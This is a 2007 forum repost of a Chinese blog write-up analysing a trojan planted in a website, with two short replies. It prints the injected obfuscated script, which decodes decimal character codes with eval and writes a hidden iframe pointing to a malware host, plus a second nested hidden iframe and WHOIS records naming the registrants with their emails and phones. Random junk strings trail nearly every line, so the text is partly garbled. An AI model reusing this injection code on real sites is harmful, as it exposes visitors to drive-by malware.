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[原创]一篇刚写的分析木马手记

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首发在我的博客里面, 7:ckq(89  
frk7^5  
http://www.areway.cn/?p=175 IS .g);Gj  
U=M#41J  
2kC^7ZAwu  
周末上线鸭子就Q我说他的站给挂了马,当时没太注意就直接打开了连接,截下了网页源码: [gTQ-  
          }3Df]  
<script>t=’60,105,102,114,97,109,101, *(>Jd|C  
32,115,114,99,61,104,116,116,112,58,47,47, '>"`)-  
102,114,101,101,46,117,45,117,117,117,46,99, }[ 7Nb90v  
110,47,101,114,114,111,114,46,104,116,109, dV$3u"9  
32,119,105,100,116,104,61,49,48,48,32,104, "C?:T'dW  
101,105,103,104,116,61,48,62,60,47,105,102, rkbl/py  
114,97,109,101,62′; G) jG!`I  
t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script> [6oq##  
                                                                                                  IBzHR[#,^  
<script>t=’60,105,102,114,97,109,101,32,115, O5c_\yv=  
114,99,61,104,116,116,112,58,47,47,102,114, EP/&m|o|G  
101,101,46,117,45,117,117,117,46,99,110,47, J,6!7a  
101,114,114,111,114,46,104,116,109,32,119, Bfu/9ad  
105,100,116,104,61,49,48,48,32,104,101,105, ![qRoYpbg8  
103,104,116,61,48,62,60,47,105,102,114,97, Mi_[9ku>%  
109,101,62′;t=eval(’String.fromCharCode(’+t+’)'); 9#s,K! !3{  
document.write(t);</script> nz}]C04:-  
                                                                                                  J: L-15  
<html xmlns=” l85O-g}M  
http://www.w3.org/1999/xhtml mMn2(  
“> bbM4A! N  
<head> .Y+mwvLpRG  
<!– Published By Newasp.cc 2007-12-7-18:03:23 –> Cq TH!'N  
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ /> @F>[DW]O  
<title>首页 - 爱生活家庭网 nm<L&11  
                                                                                                                                                    Y#GT*V  
上面有一段 script的十进制加密字段,里面的大概内容是,把所有的字符放在函数t里面,最后用doucment.write(t)来把字符串写在网页里面。 [>Ikitow  
转换字符串后的大概内容是(谁点击后果自付): axHxqhO7zp  
<script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=……… N=hSqw[  
                                                                                                                                  3`mC"a b /  
查询玉米u-uuu.cn的详细信息: ::kpl2r\c  
Domain Name: u-uuu.cn B'NS&7+].  
ROID: 20070901s10001s64972306-cn 9)1P+c--  
Domain Status: ok M|$H+e } :  
Registrant Organization: 王雷 Y}85J:q]  
Registrant Name: 王雷 mxtlr)  
Administrative Email: czlovexs@126.com Rc;1Sm9\  
Sponsoring Registrar: 北京万网志成科技有限公司  ]v/t8`  
Name Server:ns.yovole.com 39'X$!  
Name Server:ns1.yovole.com &3!i@2d;3f  
Registration Date: 2007-09-01 17:54 "4J?JR  
Expiration Date: 2008-09-01 17:54 wOD/Z8  
最后PING了一下地址 都没有什么…. X%RQB$  
                                                                                                -i| /JH  
上虚拟机里面继续分析,IE里面打开上面的连接…查看源代码…..直接又有嵌套. g-4gI\  
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe> 4;B= Qoxe  
<script language=”javascript” src=” O@G<B8U,K  
http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script 1uK)1%vK  
> = ?y^O0v  
这个玉米应该有可能是木马作者的: NdaVT5RB  
foafau.info的详细信息: I8XGU)  
Access to INFO WHOIS information is provided to assist persons in yz54:q?  
determining the contents of a domain name registration record in the c%o5 E%  
Afilias registry database. The data in this record is provided by :YkDn~@  
Afilias Limited for informational purposes only, and Afilias does not M'pY-/.  
guarantee its accuracy.  This service is intended only for query-based 7{?lEQ&UE  
access. You agree that you will use this data only for lawful purposes BBaHM sr  
and that, under no circumstances will you use this data to: (a) allow, sE(X:[Am  
enable, or otherwise support the transmission by e-mail, telephone, or .D>A'r8U  
facsimile of mass unsolicited, commercial advertising or solicitations \ x>NB  
to entities other than the data recipient’s own existing customers; or +H5 jRw  
(b) enable high volume, automated, electronic processes that send F#zQQ)(Pf  
queries or data to the systems of Registry Operator, a Registrar, or i4 y(H  
Afilias except as reasonably necessary to register domain names or m-Mhf;  
modify existing registrations. All rights reserved. Afilias reserves PX+"" #  
the right to modify these terms at any time. By submitting this query, p\4h$."  
you agree to abide by this policy. Br_3qJNVP  
Domain ID:D22418703-LRMS 2b{@]Fp  
Domain Name:FOAFAU.INFO ylo]`Nq  
Created On:20-Nov-2007 16:05:42 UTC TXY  
Last Updated On:20-Nov-2007 16:05:44 UTC AX!Md:s  
Expiration Date:20-Nov-2008 16:05:42 UTC t!+%g) @  
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS) 7$E2/@f  
Status:CLIENT DELETE PROHIBITED %3#b6m~  
Status:CLIENT RENEW PROHIBITED q[T_*X3o  
Status:CLIENT TRANSFER PROHIBITED EbHUGCMO  
Status:CLIENT UPDATE PROHIBITED $D0)j(v  
Status:TRANSFER PROHIBITED P,s)2s'nZ  
Registrant ID:GODA-040110615 si+5h6I.}  
Registrant Name:liu hong gK]T}  
Registrant Organization: 'Q^G6'(SaK  
Registrant Street1:beijing \oD=X}UQw(  
Registrant Street2: [qc6Q:  
Registrant Street3: z{<q0.^EFh  
Registrant City:beijing Lx4H/[$6D  
Registrant State/Province: :$)aMEq  
Registrant Postal Code:100000 o =jX  
Registrant Country:CN 5VY%o8xXa  
Registrant Phone:+86.860108888777 zmrX %!CW  
Registrant Phone Ext.: Y6[]wUJ  
Registrant FAX: DU*Hnii  
Registrant FAX Ext.: m-&a~l  
Registrant Email:bbbshiji@163.com (RI>aDG RH  
Admin ID:GODA-240110615 'PxL^  
Admin Name:liu hong }K qw\]`  
Admin Organization: A=@V LU4%  
Admin Street1:beijing }VJ hw*s  
Admin Street2: Ezo" f  
Admin Street3: 3 8ls 4v3  
Admin City:beijing "X!_37kQ  
Admin State/Province: -&HoR!af  
Admin Postal Code:100000 ~h~r]tV*+  
Admin Country:CN ZFd{q)qe   
Admin Phone:+86.860108888777 `rRg(fCN!M  
Admin Phone Ext.: g]TI8&tP!L  
Admin FAX: fitK2d   
Admin FAX Ext.: P dE)m/  
Admin Email:bbbshiji@163.com dzk?Zg  
Billing ID:GODA-340110615 >u%[J!Y;;  
Billing Name:liu hong E!oJ0*@  
Billing Organization: C$EFh4  
Billing Street1:beijing d<^6hF  
Billing Street2: 8?]%Q i   
Billing Street3: UVvt&=+4  
Billing City:beijing _s=Pk[e  
Billing State/Province: ZS 7)(j$.  
Billing Postal Code:100000 ))we\I__8  
Billing Country:CN 5,I*F9[3  
Billing Phone:+86.860108888777 $4fjSSB~  
Billing Phone Ext.: $;g%S0:3)  
Billing FAX: (kD?},Z  
Billing FAX Ext.:  _j?=&tc  
Billing Email:bbbshiji@163.com tL 9e~>,`  
Tech ID:GODA-140110615 )l/C_WEK  
Tech Name:liu hong p-ii($~ }  
Tech Organization: Y7IlqC`i  
Tech Street1:beijing 2oNPR+ -  
Tech Street2: .(.G`aKnF  
Tech Street3: gP"Mu#/D  
Tech City:beijing SJY"]7  
Tech State/Province: T<_1|eH  
Tech Postal Code:100000 d#$i/&gE  
Tech Country:CN FCw VVF0 y  
Tech Phone:+86.860108888777 2* cKFv{  
Tech Phone Ext.: WLA_YMlA  
Tech FAX: RdpQJ)3F  
Tech FAX Ext.: 19.!$;  
Tech Email:bbbshiji@163.com ^9m^#"ZW`  
Name Server:NS27.DOMAINCONTROL.COM [pyXX>:M  
Name Server:NS28.DOMAINCONTROL.COM .bl/At3A  
Name Server:  Q-3J0=  
Name Server: -$Z-hxs^  
Name Server: f+(w(~O  
Name Server: R,k[Kh  
Name Server: ~S<F  
Name Server: e?'k[ES^  
Name Server: . LVOaxT  
Name Server:   ]q\=  
Name Server: '$&(+>)z `  
Name Server: 1pBsr(  
Name Server: 3  %{'Uh,  
                                                                                                          %nK 15(  
接着下载每个文件里面的代码: ?}>B4Z)  
一步一步看.. 0yEyt7 ~@  
H'(o}cn7~  
8`R}L  
bKbpI>;[  
d%|#m)  
!D]6Cq  
都是十进制的代码,也懒得再分析了,有这个爱好的大家可以继续试试
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别笑我浅溥,天真的以为用一腔真诚就能感动这个冷漠的世界。
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只看该作者 1 发表于: 2007-12-17
看过了就是没看懂。。。
级别: 终身会员
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只看该作者 2 发表于: 2007-12-18
要是有全部 就好了 传上来
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